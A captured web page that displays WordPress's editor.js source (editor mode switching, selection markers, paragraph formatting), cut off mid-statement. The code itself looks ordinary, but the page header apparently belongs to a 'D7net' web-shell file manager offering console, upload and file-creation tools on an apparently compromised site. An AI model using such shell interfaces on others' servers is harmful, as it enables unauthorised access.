D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
thread-self
/
root
/
home
/
vblioqus
/
safa777.info
/
Old2
/
wp-admin
/
js
/
Filename :
editor.js
back
Copy
/** * @output wp-admin/js/editor.js */ window.wp = window.wp || {}; ( function( $, wp ) { wp.editor = wp.editor || {}; /** * Utility functions for the editor. * * @since 2.5.0 */ function SwitchEditors() { var tinymce, $$, exports = {}; function init() { if ( ! tinymce && window.tinymce ) { tinymce = window.tinymce; $$ = tinymce.$; /** * Handles onclick events for the Visual/Code tabs. * * @since 4.3.0 * * @return {void} */ $$( document ).on( 'click', function( event ) { var id, mode, target = $$( event.target ); if ( target.hasClass( 'wp-switch-editor' ) ) { id = target.attr( 'data-wp-editor-id' ); mode = target.hasClass( 'switch-tmce' ) ? 'tmce' : 'html'; switchEditor( id, mode ); } }); } } /** * Returns the height of the editor toolbar(s) in px. * * @since 3.9.0 * * @param {Object} editor The TinyMCE editor. * @return {number} If the height is between 10 and 200 return the height, * else return 30. */ function getToolbarHeight( editor ) { var node = $$( '.mce-toolbar-grp', editor.getContainer() )[0], height = node && node.clientHeight; if ( height && height > 10 && height < 200 ) { return parseInt( height, 10 ); } return 30; } /** * Switches the editor between Visual and Code mode. * * @since 2.5.0 * * @memberof switchEditors * * @param {string} id The id of the editor you want to change the editor mode for. Default: `content`. * @param {string} mode The mode you want to switch to. Default: `toggle`. * @return {void} */ function switchEditor( id, mode ) { id = id || 'content'; mode = mode || 'toggle'; var editorHeight, toolbarHeight, iframe, editor = tinymce.get( id ), wrap = $$( '#wp-' + id + '-wrap' ), htmlSwitch = wrap.find( '.switch-tmce' ), tmceSwitch = wrap.find( '.switch-html' ), $textarea = $$( '#' + id ), textarea = $textarea[0]; if ( 'toggle' === mode ) { if ( editor && ! editor.isHidden() ) { mode = 'html'; } else { mode = 'tmce'; } } if ( 'tmce' === mode || 'tinymce' === mode ) { // If the editor is visible we are already in `tinymce` mode. if ( editor && ! editor.isHidden() ) { return false; } // Insert closing tags for any open tags in QuickTags. if ( typeof( window.QTags ) !== 'undefined' ) { window.QTags.closeAllTags( id ); } editorHeight = parseInt( textarea.style.height, 10 ) || 0; addHTMLBookmarkInTextAreaContent( $textarea ); if ( editor ) { editor.show(); // No point to resize the iframe in iOS. if ( ! tinymce.Env.iOS && editorHeight ) { toolbarHeight = getToolbarHeight( editor ); editorHeight = editorHeight - toolbarHeight + 14; // Sane limit for the editor height. if ( editorHeight > 50 && editorHeight < 5000 ) { editor.theme.resizeTo( null, editorHeight ); } } focusHTMLBookmarkInVisualEditor( editor ); } else { tinymce.init( window.tinyMCEPreInit.mceInit[ id ] ); } wrap.removeClass( 'html-active' ).addClass( 'tmce-active' ); tmceSwitch.attr( 'aria-pressed', false ); htmlSwitch.attr( 'aria-pressed', true ); $textarea.attr( 'aria-hidden', true ); window.setUserSetting( 'editor', 'tinymce' ); } else if ( 'html' === mode ) { // If the editor is hidden (Quicktags is shown) we don't need to switch. if ( editor && editor.isHidden() ) { return false; } if ( editor ) { // Don't resize the textarea in iOS. // The iframe is forced to 100% height there, we shouldn't match it. if ( ! tinymce.Env.iOS ) { iframe = editor.iframeElement; editorHeight = iframe ? parseInt( iframe.style.height, 10 ) : 0; if ( editorHeight ) { toolbarHeight = getToolbarHeight( editor ); editorHeight = editorHeight + toolbarHeight - 14; // Sane limit for the textarea height. if ( editorHeight > 50 && editorHeight < 5000 ) { textarea.style.height = editorHeight + 'px'; } } } var selectionRange = null; selectionRange = findBookmarkedPosition( editor ); editor.hide(); if ( selectionRange ) { selectTextInTextArea( editor, selectionRange ); } } else { // There is probably a JS error on the page. // The TinyMCE editor instance doesn't exist. Show the textarea. $textarea.css({ 'display': '', 'visibility': '' }); } wrap.removeClass( 'tmce-active' ).addClass( 'html-active' ); tmceSwitch.attr( 'aria-pressed', true ); htmlSwitch.attr( 'aria-pressed', false ); $textarea.attr( 'aria-hidden', false ); window.setUserSetting( 'editor', 'html' ); } } /** * Checks if a cursor is inside an HTML tag or comment. * * In order to prevent breaking HTML tags when selecting text, the cursor * must be moved to either the start or end of the tag. * * This will prevent the selection marker to be inserted in the middle of an HTML tag. * * This function gives information whether the cursor is inside a tag or not, as well as * the tag type, if it is a closing tag and check if the HTML tag is inside a shortcode tag, * e.g. `[caption]<img.../>..`. * * @param {string} content The test content where the cursor is. * @param {number} cursorPosition The cursor position inside the content. * * @return {(null|Object)} Null if cursor is not in a tag, Object if the cursor is inside a tag. */ function getContainingTagInfo( content, cursorPosition ) { var lastLtPos = content.lastIndexOf( '<', cursorPosition - 1 ), lastGtPos = content.lastIndexOf( '>', cursorPosition ); if ( lastLtPos > lastGtPos || content.substr( cursorPosition, 1 ) === '>' ) { // Find what the tag is. var tagContent = content.substr( lastLtPos ), tagMatch = tagContent.match( /<\s*(\/)?(\w+|\!-{2}.*-{2})/ ); if ( ! tagMatch ) { return null; } var tagType = tagMatch[2], closingGt = tagContent.indexOf( '>' ); return { ltPos: lastLtPos, gtPos: lastLtPos + closingGt + 1, // Offset by one to get the position _after_ the character. tagType: tagType, isClosingTag: !! tagMatch[1] }; } return null; } /** * Checks if the cursor is inside a shortcode * * If the cursor is inside a shortcode wrapping tag, e.g. `[caption]` it's better to * move the selection marker to before or after the shortcode. * * For example `[caption]` rewrites/removes anything that's between the `[caption]` tag and the * `<img/>` tag inside. * * `[caption]<span>ThisIsGone</span><img .../>[caption]` * * Moving the selection to before or after the short code is better, since it allows to select * something, instead of just losing focus and going to the start of the content. * * @param {string} content The text content to check against. * @param {number} cursorPosition The cursor position to check. * * @return {(undefined|Object)} Undefined if the cursor is not wrapped in a shortcode tag. * Information about the wrapping shortcode tag if it's wrapped in one. */ function getShortcodeWrapperInfo( content, cursorPosition ) { var contentShortcodes = getShortCodePositionsInText( content ); for ( var i = 0; i < contentShortcodes.length; i++ ) { var element = contentShortcodes[ i ]; if ( cursorPosition >= element.startIndex && cursorPosition <= element.endIndex ) { return element; } } } /** * Gets a list of unique shortcodes or shortcode-lookalikes in the content. * * @param {string} content The content we want to scan for shortcodes. */ function getShortcodesInText( content ) { var shortcodes = content.match( /\[+([\w_-])+/g ), result = []; if ( shortcodes ) { for ( var i = 0; i < shortcodes.length; i++ ) { var shortcode = shortcodes[ i ].replace( /^\[+/g, '' ); if ( result.indexOf( shortcode ) === -1 ) { result.push( shortcode ); } } } return result; } /** * Gets all shortcodes and their positions in the content * * This function returns all the shortcodes that could be found in the textarea content * along with their character positions and boundaries. * * This is used to check if the selection cursor is inside the boundaries of a shortcode * and move it accordingly, to avoid breakage. * * @link adjustTextAreaSelectionCursors * * The information can also be used in other cases when we need to lookup shortcode data, * as it's already structured! * * @param {string} content The content we want to scan for shortcodes */ function getShortCodePositionsInText( content ) { var allShortcodes = getShortcodesInText( content ), shortcodeInfo; if ( allShortcodes.length === 0 ) { return []; } var shortcodeDetailsRegexp = wp.shortcode.regexp( allShortcodes.join( '|' ) ), shortcodeMatch, // Define local scope for the variable to be used in the loop below. shortcodesDetails = []; while ( shortcodeMatch = shortcodeDetailsRegexp.exec( content ) ) { /** * Check if the shortcode should be shown as plain text. * * This corresponds to the [[shortcode]] syntax, which doesn't parse the shortcode * and just shows it as text. */ var showAsPlainText = shortcodeMatch[1] === '['; shortcodeInfo = { shortcodeName: shortcodeMatch[2], showAsPlainText: showAsPlainText, startIndex: shortcodeMatch.index, endIndex: shortcodeMatch.index + shortcodeMatch[0].length, length: shortcodeMatch[0].length }; shortcodesDetails.push( shortcodeInfo ); } /** * Get all URL matches, and treat them as embeds. * * Since there isn't a good way to detect if a URL by itself on a line is a previewable * object, it's best to treat all of them as such. * * This means that the selection will capture the whole URL, in a similar way shrotcodes * are treated. */ var urlRegexp = new RegExp( '(^|[\\n\\r][\\n\\r]|<p>)(https?:\\/\\/[^\s"]+?)(<\\/p>\s*|[\\n\\r][\\n\\r]|$)', 'gi' ); while ( shortcodeMatch = urlRegexp.exec( content ) ) { shortcodeInfo = { shortcodeName: 'url', showAsPlainText: false, startIndex: shortcodeMatch.index, endIndex: shortcodeMatch.index + shortcodeMatch[ 0 ].length, length: shortcodeMatch[ 0 ].length, urlAtStartOfContent: shortcodeMatch[ 1 ] === '', urlAtEndOfContent: shortcodeMatch[ 3 ] === '' }; shortcodesDetails.push( shortcodeInfo ); } return shortcodesDetails; } /** * Generate a cursor marker element to be inserted in the content. * * `span` seems to be the least destructive element that can be used. * * Using DomQuery syntax to create it, since it's used as both text and as a DOM element. * * @param {Object} domLib DOM library instance. * @param {string} content The content to insert into the cursor marker element. */ function getCursorMarkerSpan( domLib, content ) { return domLib( '<span>' ).css( { display: 'inline-block', width: 0, overflow: 'hidden', 'line-height': 0 } ) .html( content ? content : '' ); } /** * Gets adjusted selection cursor positions according to HTML tags, comments, and shortcodes. * * Shortcodes and HTML codes are a bit of a special case when selecting, since they may render * content in Visual mode. If we insert selection markers somewhere inside them, it's really possible * to break the syntax and render the HTML tag or shortcode broken. * * @link getShortcodeWrapperInfo * * @param {string} content Textarea content that the cursors are in * @param {{cursorStart: number, cursorEnd: number}} cursorPositions Cursor start and end positions * * @return {{cursorStart: number, cursorEnd: number}} */ function adjustTextAreaSelectionCursors( content, cursorPositions ) { var voidElements = [ 'area', 'base', 'br', 'col', 'embed', 'hr', 'img', 'input', 'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr' ]; var cursorStart = cursorPositions.cursorStart, cursorEnd = cursorPositions.cursorEnd, // Check if the cursor is in a tag and if so, adjust it. isCursorStartInTag = getContainingTagInfo( content, cursorStart ); if ( isCursorStartInTag ) { /** * Only move to the start of the HTML tag (to select the whole element) if the tag * is part of the voidElements list above. * * This list includes tags that are self-contained and don't need a closing tag, according to the * HTML5 specification. * * This is done in order to make selection of text a bit more consistent when selecting text in * `<p>` tags or such. * * In cases where the tag is not a void element, the cursor is put to the end of the tag, * so it's either between the opening and closing tag elements or after the closing tag. */ if ( voidElements.indexOf( isCursorStartInTag.tagType ) !== -1 ) { cursorStart = isCursorStartInTag.ltPos; } else { cursorStart = isCursorStartInTag.gtPos; } } var isCursorEndInTag = getContainingTagInfo( content, cursorEnd ); if ( isCursorEndInTag ) { cursorEnd = isCursorEndInTag.gtPos; } var isCursorStartInShortcode = getShortcodeWrapperInfo( content, cursorStart ); if ( isCursorStartInShortcode && ! isCursorStartInShortcode.showAsPlainText ) { /** * If a URL is at the start or the end of the content, * the selection doesn't work, because it inserts a marker in the text, * which breaks the embedURL detection. * * The best way to avoid that and not modify the user content is to * adjust the cursor to either after or before URL. */ if ( isCursorStartInShortcode.urlAtStartOfContent ) { cursorStart = isCursorStartInShortcode.endIndex; } else { cursorStart = isCursorStartInShortcode.startIndex; } } var isCursorEndInShortcode = getShortcodeWrapperInfo( content, cursorEnd ); if ( isCursorEndInShortcode && ! isCursorEndInShortcode.showAsPlainText ) { if ( isCursorEndInShortcode.urlAtEndOfContent ) { cursorEnd = isCursorEndInShortcode.startIndex; } else { cursorEnd = isCursorEndInShortcode.endIndex; } } return { cursorStart: cursorStart, cursorEnd: cursorEnd }; } /** * Adds text selection markers in the editor textarea. * * Adds selection markers in the content of the editor `textarea`. * The method directly manipulates the `textarea` content, to allow TinyMCE plugins * to run after the markers are added. * * @param {Object} $textarea TinyMCE's textarea wrapped as a DomQuery object */ function addHTMLBookmarkInTextAreaContent( $textarea ) { if ( ! $textarea || ! $textarea.length ) { // If no valid $textarea object is provided, there's nothing we can do. return; } var textArea = $textarea[0], textAreaContent = textArea.value, adjustedCursorPositions = adjustTextAreaSelectionCursors( textAreaContent, { cursorStart: textArea.selectionStart, cursorEnd: textArea.selectionEnd } ), htmlModeCursorStartPosition = adjustedCursorPositions.cursorStart, htmlModeCursorEndPosition = adjustedCursorPositions.cursorEnd, mode = htmlModeCursorStartPosition !== htmlModeCursorEndPosition ? 'range' : 'single', selectedText = null, cursorMarkerSkeleton = getCursorMarkerSpan( $$, '' ).attr( 'data-mce-type','bookmark' ); if ( mode === 'range' ) { var markedText = textArea.value.slice( htmlModeCursorStartPosition, htmlModeCursorEndPosition ), bookMarkEnd = cursorMarkerSkeleton.clone().addClass( 'mce_SELRES_end' ); selectedText = [ markedText, bookMarkEnd[0].outerHTML ].join( '' ); } textArea.value = [ textArea.value.slice( 0, htmlModeCursorStartPosition ), // Text until the cursor/selection position. cursorMarkerSkeleton.clone() // Cursor/selection start marker. .addClass( 'mce_SELRES_start' )[0].outerHTML, selectedText, // Selected text with end cursor/position marker. textArea.value.slice( htmlModeCursorEndPosition ) // Text from last cursor/selection position to end. ].join( '' ); } /** * Focuses the selection markers in Visual mode. * * The method checks for existing selection markers inside the editor DOM (Visual mode) * and create a selection between the two nodes using the DOM `createRange` selection API. * * If there is only a single node, select only the single node through TinyMCE's selection API * * @param {Object} editor TinyMCE editor instance. */ function focusHTMLBookmarkInVisualEditor( editor ) { var startNode = editor.$( '.mce_SELRES_start' ).attr( 'data-mce-bogus', 1 ), endNode = editor.$( '.mce_SELRES_end' ).attr( 'data-mce-bogus', 1 ); if ( startNode.length ) { editor.focus(); if ( ! endNode.length ) { editor.selection.select( startNode[0] ); } else { var selection = editor.getDoc().createRange(); selection.setStartAfter( startNode[0] ); selection.setEndBefore( endNode[0] ); editor.selection.setRng( selection ); } } scrollVisualModeToStartElement( editor, startNode ); removeSelectionMarker( startNode ); removeSelectionMarker( endNode ); editor.save(); } /** * Removes selection marker and the parent node if it is an empty paragraph. * * By default TinyMCE wraps loose inline tags in a `<p>`. * When removing selection markers an empty `<p>` may be left behind, remove it. * * @param {Object} $marker The marker to be removed from the editor DOM, wrapped in an instance of `editor.$` */ function removeSelectionMarker( $marker ) { var $markerParent = $marker.parent(); $marker.remove(); //Remove empty paragraph left over after removing the marker. if ( $markerParent.is( 'p' ) && ! $markerParent.children().length && ! $markerParent.text() ) { $markerParent.remove(); } } /** * Scrolls the content to place the selected element in the center of the screen. * * Takes an element, that is usually the selection start element, selected in * `focusHTMLBookmarkInVisualEditor()` and scrolls the screen so the element appears roughly * in the middle of the screen. * * I order to achieve the proper positioning, the editor media bar and toolbar are subtracted * from the window height, to get the proper viewport window, that the user sees. * * @param {Object} editor TinyMCE editor instance. * @param {Object} element HTMLElement that should be scrolled into view. */ function scrollVisualModeToStartElement( editor, element ) { var elementTop = editor.$( element ).offset().top, TinyMCEContentAreaTop = editor.$( editor.getContentAreaContainer() ).offset().top, toolbarHeight = getToolbarHeight( editor ), edTools = $( '#wp-content-editor-tools' ), edToolsHeight = 0, edToolsOffsetTop = 0, $scrollArea; if ( edTools.length ) { edToolsHeight = edTools.height(); edToolsOffsetTop = edTools.offset().top; } var windowHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight, selectionPosition = TinyMCEContentAreaTop + elementTop, visibleAreaHeight = windowHeight - ( edToolsHeight + toolbarHeight ); // There's no need to scroll if the selection is inside the visible area. if ( selectionPosition < visibleAreaHeight ) { return; } /** * The minimum scroll height should be to the top of the editor, to offer a consistent * experience. * * In order to find the top of the editor, we calculate the offset of `#wp-content-editor-tools` and * subtracting the height. This gives the scroll position where the top of the editor tools aligns with * the top of the viewport (under the Master Bar) */ var adjustedScroll; if ( editor.settings.wp_autoresize_on ) { $scrollArea = $( 'html,body' ); adjustedScroll = Math.max( selectionPosition - visibleAreaHeight / 2, edToolsOffsetTop - edToolsHeight ); } else { $scrollArea = $( editor.contentDocument ).find( 'html,body' ); adjustedScroll = elementTop; } $scrollArea.animate( { scrollTop: parseInt( adjustedScroll, 10 ) }, 100 ); } /** * This method was extracted from the `SaveContent` hook in * `wp-includes/js/tinymce/plugins/wordpress/plugin.js`. * * It's needed here, since the method changes the content a bit, which confuses the cursor position. * * @param {Object} event TinyMCE event object. */ function fixTextAreaContent( event ) { // Keep empty paragraphs :( event.content = event.content.replace( /<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g, '<p> </p>' ); } /** * Finds the current selection position in the Visual editor. * * Find the current selection in the Visual editor by inserting marker elements at the start * and end of the selection. * * Uses the standard DOM selection API to achieve that goal. * * Check the notes in the comments in the code below for more information on some gotchas * and why this solution was chosen. * * @param {Object} editor The editor where we must find the selection. * @return {(null|Object)} The selection range position in the editor. */ function findBookmarkedPosition( editor ) { // Get the TinyMCE `window` reference, since we need to access the raw selection. var TinyMCEWindow = editor.getWin(), selection = TinyMCEWindow.getSelection(); if ( ! selection || selection.rangeCount < 1 ) { // no selection, no need to continue. return; } /** * The ID is used to avoid replacing user generated content, that may coincide with the * format specified below. * @type {string} */ var selectionID = 'SELRES_' + Math.random(); /** * Create two marker elements that will be used to mark the start and the end of the range. * * The elements have hardcoded style that makes them invisible. This is done to avoid seeing * random content flickering in the editor when switching between modes. */ var spanSkeleton = getCursorMarkerSpan( editor.$, selectionID ), startElement = spanSkeleton.clone().addClass( 'mce_SELRES_start' ), endElement = spanSkeleton.clone().addClass( 'mce_SELRES_end' ); /** * Inspired by: * @link https://stackoverflow.com/a/17497803/153310 * * Why do it this way and not with TinyMCE's bookmarks? * * TinyMCE's bookmarks are very nice when working with selections and positions, BUT * there is no way to determine the precise position of the bookmark when switching modes, since * TinyMCE does some serialization of the content, to fix things like shortcodes, run plugins, prettify * HTML code and so on. In this process, the bookmark markup gets lost. * * If we decide to hook right after the bookmark is added, we can see where the bookmark is in the raw HTML * in TinyMCE. Unfortunately this state is before the serialization, so any visual markup in the content will * throw off the positioning. * * To avoid this, we insert two custom `span`s that will serve as the markers at the beginning and end of the * selection. * * Why not use TinyMCE's selection API or the DOM API to wrap the contents? Because if we do that, this creates * a new node, which is inserted in the dom. Now this will be fine, if we worked with fixed selections to * full nodes. Unfortunately in our case, the user can select whatever they like, which means that the * selection may start in the middle of one node and end in the middle of a completely different one. If we * wrap the selection in another node, this will create artifacts in the content. * * Using the method below, we insert the custom `span` nodes at the start and at the end of the selection. * This helps us not break the content and also gives us the option to work with multi-node selections without * breaking the markup. */ var range = selection.getRangeAt( 0 ), startNode = range.startContainer, startOffset = range.startOffset, boundaryRange = range.cloneRange(); /** * If the selection is on a shortcode with Live View, TinyMCE creates a bogus markup, * which we have to account for. */ if ( editor.$( startNode ).parents( '.mce-offscreen-selection' ).length > 0 ) { startNode = editor.$( '[data-mce-selected]' )[0]; /** * Marking the start and end element with `data-mce-object-selection` helps * discern when the selected object is a Live Preview selection. * * This way we can adjust the selection to properly select only the content, ignoring * whitespace inserted around the selected object by the Editor. */ startElement.attr( 'data-mce-object-selection', 'true' ); endElement.attr( 'data-mce-object-selection', 'true' ); editor.$( startNode ).before( startElement[0] ); editor.$( startNode ).after( endElement[0] ); } else { boundaryRange.collapse( false ); boundaryRange.insertNode( endElement[0] ); boundaryRange.setStart( startNode, startOffset ); boundaryRange.collapse( true ); boundaryRange.insertNode( startElement[0] ); range.setStartAfter( startElement[0] ); range.setEndBefore( endElement[0] ); selection.removeAllRanges(); selection.addRange( range ); } /** * Now the editor's content has the start/end nodes. * * Unfortunately the content goes through some more changes after this step, before it gets inserted * in the `textarea`. This means that we have to do some minor cleanup on our own here. */ editor.on( 'GetContent', fixTextAreaContent ); var content = removep( editor.getContent() ); editor.off( 'GetContent', fixTextAreaContent ); startElement.remove(); endElement.remove(); var startRegex = new RegExp( '<span[^>]*\\s*class="mce_SELRES_start"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>(\\s*)' ); var endRegex = new RegExp( '(\\s*)<span[^>]*\\s*class="mce_SELRES_end"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>' ); var startMatch = content.match( startRegex ), endMatch = content.match( endRegex ); if ( ! startMatch ) { return null; } var startIndex = startMatch.index, startMatchLength = startMatch[0].length, endIndex = null; if (endMatch) { /** * Adjust the selection index, if the selection contains a Live Preview object or not. * * Check where the `data-mce-object-selection` attribute is set above for more context. */ if ( startMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) { startMatchLength -= startMatch[1].length; } var endMatchIndex = endMatch.index; if ( endMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) { endMatchIndex -= endMatch[1].length; } // We need to adjust the end position to discard the length of the range start marker. endIndex = endMatchIndex - startMatchLength; } return { start: startIndex, end: endIndex }; } /** * Selects text in the TinyMCE `textarea`. * * Selects the text in TinyMCE's textarea that's between `selection.start` and `selection.end`. * * For `selection` parameter: * @link findBookmarkedPosition * * @param {Object} editor TinyMCE's editor instance. * @param {Object} selection Selection data. */ function selectTextInTextArea( editor, selection ) { // Only valid in the text area mode and if we have selection. if ( ! selection ) { return; } var textArea = editor.getElement(), start = selection.start, end = selection.end || selection.start; if ( textArea.focus ) { // Wait for the Visual editor to be hidden, then focus and scroll to the position. setTimeout( function() { textArea.setSelectionRange( start, end ); if ( textArea.blur ) { // Defocus before focusing. textArea.blur(); } textArea.focus(); }, 100 ); } } // Restore the selection when the editor is initialized. Needed when the Code editor is the default. $( document ).on( 'tinymce-editor-init.keep-scroll-position', function( event, editor ) { if ( editor.$( '.mce_SELRES_start' ).length ) { focusHTMLBookmarkInVisualEditor( editor ); } } ); /** * Replaces <p> tags with two line breaks. "Opposite" of wpautop(). * * Replaces <p> tags with two line breaks except where the <p> has attributes. * Unifies whitespace. * Indents <li>, <dt> and <dd> for better readability. * * @since 2.5.0 * * @memberof switchEditors * * @param {string} html The content from the editor. * @return {string} The content with stripped paragraph tags. */ function removep( html ) { var blocklist = 'blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure', blocklist1 = blocklist + '|div|p', blocklist2 = blocklist + '|pre', preserve_linebreaks = false, preserve_br = false, preserve = []; if ( ! html ) { return ''; } // Protect script and style tags. if ( html.indexOf( '<script' ) !== -1 || html.indexOf( '<style' ) !== -1 ) { html = html.replace( /<(script|style)[^>]*>[\s\S]*?<\/\1>/g, function( match ) { preserve.push( match ); return '<wp-preserve>'; } ); } // Protect pre tags. if ( html.indexOf( '<pre' ) !== -1 ) { preserve_linebreaks = true; html = html.replace( /<pre[^>]*>[\s\S]+?<\/pre>/g, function( a ) { a = a.replace( /<br ?\/?>(\r\n|\n)?/g, '<wp-line-break>' ); a = a.replace( /<\/?p( [^>]*)?>(\r\n|\n)?/g, '<wp-line-break>' ); return a.replace( /\r?\n/g, '<wp-line-break>' ); }); } // Remove line breaks but keep <br> tags inside image captions. if ( html.indexOf( '[caption' ) !== -1 ) { preserve_br = true; html = html.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) { return a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ).replace( /[\r\n\t]+/, '' ); }); } // Normalize white space characters before and after block tags. html = html.replace( new RegExp( '\\s*</(' + blocklist1 + ')>\\s*', 'g' ), '</$1>\n' ); html = html.replace( new RegExp( '\\s*<((?:' + blocklist1 + ')(?: [^>]*)?)>', 'g' ), '\n<$1>' ); // Mark </p> if it has any attributes. html = html.replace( /(<p [^>]+>.*?)<\/p>/g, '$1</p#>' ); // Preserve the first <p> inside a <div>. html = html.replace( /<div( [^>]*)?>\s*<p>/gi, '<div$1>\n\n' ); // Remove paragraph tags. html = html.replace( /\s*<p>/gi, '' ); html = html.replace( /\s*<\/p>\s*/gi, '\n\n' ); // Normalize white space chars and remove multiple line breaks. html = html.replace( /\n[\s\u00a0]+\n/g, '\n\n' ); // Replace <br> tags with line breaks. html = html.replace( /(\s*)<br ?\/?>\s*/gi, function( match, space ) { if ( space && space.indexOf( '\n' ) !== -1 ) { return '\n\n'; } return '\n'; }); // Fix line breaks around <div>. html = html.replace( /\s*<div/g, '\n<div' ); html = html.replace( /<\/div>\s*/g, '</div>\n' ); // Fix line breaks around caption shortcodes. html = html.replace( /\s*\[caption([^\[]+)\[\/caption\]\s*/gi, '\n\n[caption$1[/caption]\n\n' ); html = html.replace( /caption\]\n\n+\[caption/g, 'caption]\n\n[caption' ); // Pad block elements tags with a line break. html = html.replace( new RegExp('\\s*<((?:' + blocklist2 + ')(?: [^>]*)?)\\s*>', 'g' ), '\n<$1>' ); html = html.replace( new RegExp('\\s*</(' + blocklist2 + ')>\\s*', 'g' ), '</$1>\n' ); // Indent <li>, <dt> and <dd> tags. html = html.replace( /<((li|dt|dd)[^>]*)>/g, ' \t<$1>' ); // Fix line breaks around <select> and <option>. if ( html.indexOf( '<option' ) !== -1 ) { html = html.replace( /\s*<option/g, '\n<option' ); html = html.replace( /\s*<\/select>/g, '\n</select>' ); } // Pad <hr> with two line breaks. if ( html.indexOf( '<hr' ) !== -1 ) { html = html.replace( /\s*<hr( [^>]*)?>\s*/g, '\n\n<hr$1>\n\n' ); } // Remove line breaks in <object> tags. if ( html.indexOf( '<object' ) !== -1 ) { html = html.replace( /<object[\s\S]+?<\/object>/g, function( a ) { return a.replace( /[\r\n]+/g, '' ); }); } // Unmark special paragraph closing tags. html = html.replace( /<\/p#>/g, '</p>\n' ); // Pad remaining <p> tags whit a line break. html = html.replace( /\s*(<p [^>]+>[\s\S]*?<\/p>)/g, '\n$1' ); // Trim. html = html.replace( /^\s+/, '' ); html = html.replace( /[\s\u00a0]+$/, '' ); if ( preserve_linebreaks ) { html = html.replace( /<wp-line-break>/g, '\n' ); } if ( preserve_br ) { html = html.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' ); } // Restore preserved tags. if ( preserve.length ) { html = html.replace( /<wp-preserve>/g, function() { return preserve.shift(); } ); } return html; } /** * Replaces two line breaks with a paragraph tag and one line break with a <br>. * * Similar to `wpautop()` in formatting.php. * * @since 2.5.0 * * @memberof switchEditors * * @param {string} text The text input. * @return {string} The formatted text. */ function autop( text ) { var preserve_linebreaks = false, preserve_br = false, blocklist = 'table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre' + '|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section' + '|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary'; // Normalize line breaks. text = text.replace( /\r\n|\r/g, '\n' ); // Remove line breaks from <object>. if ( text.indexOf( '<object' ) !== -1 ) { text = text.replace( /<object[\s\S]+?<\/object>/g, function( a ) { return a.replace( /\n+/g, '' ); }); } // Remove line breaks from tags. text = text.replace( /<[^<>]+>/g, function( a ) { return a.replace( /[\n\t ]+/g, ' ' ); }); // Preserve line breaks in <pre> and <script> tags. if ( text.indexOf( '<pre' ) !== -1 || text.indexOf( '<script' ) !== -1 ) { preserve_linebreaks = true; text = text.replace( /<(pre|script)[^>]*>[\s\S]*?<\/\1>/g, function( a ) { return a.replace( /\n/g, '<wp-line-break>' ); }); } if ( text.indexOf( '<figcaption' ) !== -1 ) { text = text.replace( /\s*(<figcaption[^>]*>)/g, '$1' ); text = text.replace( /<\/figcaption>\s*/g, '</figcaption>' ); } // Keep <br> tags inside captions. if ( text.indexOf( '[caption' ) !== -1 ) { preserve_br = true; text = text.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) { a = a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ); a = a.replace( /<[^<>]+>/g, function( b ) { return b.replace( /[\n\t ]+/, ' ' ); }); return a.replace( /\s*\n\s*/g, '<wp-temp-br />' ); }); } text = text + '\n\n'; text = text.replace( /<br \/>\s*<br \/>/gi, '\n\n' ); // Pad block tags with two line breaks. text = text.replace( new RegExp( '(<(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '\n\n$1' ); text = text.replace( new RegExp( '(</(?:' + blocklist + ')>)', 'gi' ), '$1\n\n' ); text = text.replace( /<hr( [^>]*)?>/gi, '<hr$1>\n\n' ); // Remove white space chars around <option>. text = text.replace( /\s*<option/gi, '<option' ); text = text.replace( /<\/option>\s*/gi, '</option>' ); // Normalize multiple line breaks and white space chars. text = text.replace( /\n\s*\n+/g, '\n\n' ); // Convert two line breaks to a paragraph. text = text.replace( /([\s\S]+?)\n\n/g, '<p>$1</p>\n' ); // Remove empty paragraphs. text = text.replace( /<p>\s*?<\/p>/gi, ''); // Remove <p> tags that are around block tags. text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' ); text = text.replace( /<p>(<li.+?)<\/p>/gi, '$1'); // Fix <p> in blockquotes. text = text.replace( /<p>\s*<blockquote([^>]*)>/gi, '<blockquote$1><p>'); text = text.replace( /<\/blockquote>\s*<\/p>/gi, '</p></blockquote>'); // Remove <p> tags that are wrapped around block tags. text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '$1' ); text = text.replace( new RegExp( '(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' ); text = text.replace( /(<br[^>]*>)\s*\n/gi, '$1' ); // Add <br> tags. text = text.replace( /\s*\n/g, '<br />\n'); // Remove <br> tags that are around block tags. text = text.replace( new RegExp( '(</?(?:' + blocklist + ')[^>]*>)\\s*<br />', 'gi' ), '$1' ); text = text.replace( /<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi, '$1' ); // Remove <p> and <br> around captions. text = text.replace( /(?:<p>|<br ?\/?>)*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|<br ?\/?>)*/gi, '[caption$1[/caption]' ); // Make sure there is <p> when there is </p> inside block tags that can contain other blocks. text = text.replace( /(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g, function( a, b, c ) { if ( c.match( /<p( [^>]*)?>/ ) ) { return a; } return b + '<p>' + c + '</p>'; }); // Restore the line breaks in <pre> and <script> tags. if ( preserve_linebreaks ) { text = text.replace( /<wp-line-break>/g, '\n' ); } // Restore the <br> tags in captions. if ( preserve_br ) { text = text.replace( 